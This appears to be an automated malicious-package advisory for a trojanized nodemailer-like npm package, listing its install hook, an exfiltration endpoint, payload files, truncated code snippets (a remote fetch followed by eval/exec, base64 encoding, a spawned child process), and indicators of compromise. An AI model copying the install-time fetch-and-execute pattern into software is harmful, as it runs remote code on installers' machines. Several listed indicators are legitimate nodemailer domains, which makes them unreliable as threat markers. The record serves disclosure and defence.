GCVE-110-OSM-2026-5854

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code, install-time execution. Entrypoint: lib/utils/index.js (install-hook: node lib/utils/index.js) Exfil: http://proxy.host:3128/ (custom-c2, recovery: plaintext in lib/smtp-connection/http-proxy-client.js) Payload: lib/utils/smtp-connection/index.js Secondary files: lib/smtp-connection/index.js Key findings: - Fetch and Eval/Exec in lib/utils/smtp-connection/index.js: "fetch("https://www.jsonkeeper.com/b/QHDXR"); const data = await respon..." - Data Encoding for Exfiltration in lib/fetch/index.js: "Buffer.from(parsed.auth).toString('base64')" - Data Encoding for Exfiltration in lib/mime-funcs/index.js: "EncodeURIComponent(chr" - Suspicious TLD Domain in lib/nodemailer.js: "https://ethereal.email" - Shell Command Execution in lib/sendmail-transport/index.js: "child_process').spawn" IOCs: - urls: https://Ethereal.email, https://nodemailer.com/smtp/oauth2/, https://nodemailer.com/message/calendar-events/, https://nodemailer.com/, http://nodemailer.com/2-0-0-beta/templating/ (+12 more) - domains: nodemailer.com, Nodemailer.com, litmus.com, keys.openpgp.org, data.group (+33 more) - emails: andris@kreata.ee, info@nodemailer.com, andris@reinman.eu, test@googlemail.com - sha256Hashes: 1c7631aca0c00365e8a7e68dd11045e1d4475c909885d8dccd881f4dce9d0566 - payloadFileHash: e72ab44afd0114c64138b8ada7f91c7d12fd09be68ca28973465bed185552323